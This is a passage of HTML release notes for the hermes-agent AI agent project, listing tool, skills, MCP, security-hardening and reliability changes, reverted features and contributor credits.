data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (<a href="https://github.com/NousResearch/hermes-agent/pull/59782" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59782/hovercard">#59782</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62859/hovercard">#62859</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40624/hovercard">#40624</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hermes Console REPL + perf follow-ups; <code>hermes curator usage</code> all-skills view; entry-point plugins surfaced in <code>hermes plugins list</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/57781" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57781/hovercard">#57781</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36727" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36727/hovercard">#36727</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40623" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40623/hovercard">#40623</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
<ul>
<li>MCP: <code>mcp__server__tool</code> naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable <code>redirect_uri</code>/<code>redirect_host</code> for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (<a href="https://github.com/NousResearch/hermes-agent/pull/52750" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52750/hovercard">#52750</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57416/hovercard">#57416</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66151/hovercard">#66151</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65610" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65610/hovercard">#65610</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65622/hovercard">#65622</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64463" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64463/hovercard">#64463</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Skills: <code>security/unbroker</code> (autonomous data-broker removal) + blind opt-out hardening; <code>unreal-mcp</code> companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; <code>mcp-oauth-remote-gateway</code> optional skill (<a href="https://github.com/NousResearch/hermes-agent/pull/57438" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57438/hovercard">#57438</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57902/hovercard">#57902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65989" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65989/hovercard">#65989</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64715" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64715/hovercard">#64715</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65066" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65066/hovercard">#65066</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65486" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65486/hovercard">#65486</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (<a href="https://github.com/NousResearch/hermes-agent/pull/65923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65923/hovercard">#65923</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67123" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67123/hovercard">#67123</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (<a href="https://github.com/NousResearch/hermes-agent/pull/66333" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66333/hovercard">#66333</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63638/hovercard">#63638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60226/hovercard">#60226</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65698/hovercard">#65698</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63249" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63249/hovercard">#63249</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (<a href="https://github.com/NousResearch/hermes-agent/pull/61791" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61791/hovercard">#61791</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62014/hovercard">#62014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59567" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59567/hovercard">#59567</a>)</li>
<li>mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (<a href="https://github.com/NousResearch/hermes-agent/pull/56943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56943/hovercard">#56943</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60494/hovercard">#60494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (<a href="https://github.com/NousResearch/hermes-agent/pull/57017" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57017/hovercard">#57017</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63627" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63627/hovercard">#63627</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52220/hovercard">#52220</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Vertex: credential/project/region resolution through the profile secret scope; <code>VERTEX_CREDENTIALS_PATH</code>/<code>GOOGLE_APPLICATION_CREDENTIALS</code> stripped from subprocess env (<a href="https://github.com/NousResearch/hermes-agent/pull/56680" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56680/hovercard">#56680</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (<a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58752" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58752/hovercard">#58752</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57890" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57890/hovercard">#57890</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Webhook body-cap sweep: explicit <code>client_max_size</code> on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (<a href="https://github.com/NousResearch/hermes-agent/pull/59180" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59180/hovercard">#59180</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58902/hovercard">#58902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58508" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58508/hovercard">#58508</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (<a href="https://github.com/NousResearch/hermes-agent/pull/58501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58501/hovercard">#58501</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58534" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58534/hovercard">#58534</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58915" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58915/hovercard">#58915</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58893" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58893/hovercard">#58893</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>computer-use: subprocess env sanitized across all five cua-driver spawn sites (<a href="https://github.com/NousResearch/hermes-agent/pull/58889" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58889/hovercard">#58889</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59165" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59165/hovercard">#59165</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (<a href="https://github.com/NousResearch/hermes-agent/pull/58222" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58222/hovercard">#58222</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60236/hovercard">#60236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49435/hovercard">#49435</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>)</li>
<li>CI: untrusted refs passed through env, not <code>run:</code> interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (<a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60707" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60707/hovercard">#60707</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65186/hovercard">#65186</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (<a href="https://github.com/NousResearch/hermes-agent/pull/59149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59149/hovercard">#59149</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64651" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64651/hovercard">#64651</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66040" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66040/hovercard">#66040</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>)</li>
<li>Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (<a href="https://github.com/NousResearch/hermes-agent/pull/67238" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67238/hovercard">#67238</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59339" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59339/hovercard">#59339</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58178" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58178/hovercard">#58178</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; <code>/new</code> memory extraction moved off the command path (<a href="https://github.com/NousResearch/hermes-agent/pull/58350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58350/hovercard">#58350</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64379" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64379/hovercard">#64379</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61139" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61139/hovercard">#61139</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔁 Reverted in this window (for the record)</h2>
<ul>
<li>iron-proxy credential-injection egress firewall (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499336733" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/30179" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30179/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/30179">#30179</a> → reverted in <a href="https://github.com/NousResearch/hermes-agent/pull/58489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58489/hovercard">#58489</a>) — not shipping in this release</li>
<li>dynamic-workflow orchestration skill (landed, then reverted) — not shipping</li>
<li>memory provider-actions extension point (landed, then reverted) — not shipping</li>
<li>Note: the plugin <code>pre_tool_call</code> approve escalation was reverted mid-window but <strong>re-landed</strong> in <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> and ships in this release.</li>
</ul>
<h2>👥 Contributors</h2>
<p><strong>450+ people</strong> contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.</p>
<h3>Core team</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a> — terminal billing (<code>/subscription</code>, <code>/topup</code>), desktop billing tab</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a> — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a> — desktop custom endpoint settings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a> — unbroker + unreal-mcp skills, humanizer expansion</li>
</ul>
<h3>Top community contributors</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a> — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a> — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a> — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a> — <code>&lt;think&gt;</code> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a> — desktop declarative memory-provider panel + honcho recall/timeout correctness</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a> — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a> — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidMetcalfe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidMetcalfe">@DavidMetcalfe</a> — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a> — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a> — Gemini request-context improvements</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a> — cron one-shot stale-removal race, dashboard multiplex port-binding guard</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/embwl0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/embwl0x">@embwl0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" 